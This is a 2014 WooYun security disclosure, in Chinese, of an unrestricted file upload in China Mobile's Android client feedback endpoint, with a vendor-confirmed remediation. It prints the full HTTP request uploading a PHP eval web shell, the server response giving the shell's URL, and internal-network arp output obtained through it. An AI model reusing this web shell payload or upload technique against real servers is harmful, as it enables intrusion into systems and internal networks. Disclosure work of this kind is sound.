漏洞详情

披露状态:

2014-02-21: 细节已通知厂商并且等待厂商处理中
2014-02-26: 厂商已经确认,细节仅向厂商公开
2014-03-08: 细节向核心白帽子及相关领域专家公开
2014-03-18: 细节向普通白帽子公开
2014-03-28: 细节向实习白帽子公开
2014-04-07: 细节向公众公开

简要描述:

从前有个厂商,后来它不见了。。。

详细说明:

1.在10086官网上下载了个手机营业厅的Android客户端

http://www.10086.cn/cmccclient/andriod.html



android.jpg







2.客户端意见反馈处可上传图片,通过抓包进行提交发现可直接上传php脚本,服务端未进

行任何过滤。



POST请求:

POST /file.php HTTP/1.1
Content-Length: 244
Content-Type: multipart/form-data;
Host: clientdispatch.10086.cn:8080
Connection: closed
Accept-Encoding: gzip

--gHEBq3WtzAIOKRkmR5dzbKl7y-QvYj
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary

<?php @eval($_POST['xxxx']);?>
--gHEBq3WtzAIOKRkmR5dzbKl7y-QvYj--





返回响应包:



HTTP/1.1 200 OK
Server: nginx/1.4.4
Content-Type: text/html
Content-Length: 84
X-Powered-By: PHP/5.5.4
Connection: Keep-alive
Keep-Alive: timeout=15, max=100
Via: 1.1 ID-0001242737364450 uproxy-3

200|http://clientdispatch.10086.cn:8080/upload/bc10ba96f9cxxxxxxxx951.php





3.获取到webshell,并且是内网.



[/]$ arp
Address HWtype HWaddress Flags Mask Iface
10.248.13.54 ether 00:15:17:4e:25:da C bond0
10.248.13.35 ether 00:00:0c:07:ac:01 C bond0
10.248.13.50 ether e4:1f:13:80:a2:37 C bond0
10.248.13.48 ether e4:1f:13:80:a5:c7 C bond0
10.248.13.43 ether e4:1f:13:80:a9:d5 C bond0
10.248.13.45 ether e4:1f:13:80:a9:2d C bond0
10.248.13.55 ether 00:15:17:4e:24:7e C bond0
10.248.13.49 ether e4:1f:13:80:a7:35 C bond0
10.248.13.47 ether e4:1f:13:80:a2:c7 C bond0



漏洞证明:

cmd.jpg

修复方案:

1.判断图片格式及完整性



2.限制upload目录执行php脚本程序



nginx.conf server处添加:



location ~ /upload/.*.(php|php5)?$ {



deny all;



}

版权声明:转载请注明来源 loli@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2014-02-26 06:37

厂商回复:

最新状态:

暂无


漏洞评价: